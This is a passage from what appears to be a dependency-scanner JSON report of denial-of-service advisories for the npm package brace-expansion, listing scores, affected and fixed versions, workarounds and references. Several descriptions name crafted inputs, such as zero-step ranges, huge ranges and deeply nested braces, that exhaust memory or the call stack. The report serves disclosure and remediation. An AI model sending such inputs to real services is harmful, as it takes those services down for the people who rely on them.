}, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { 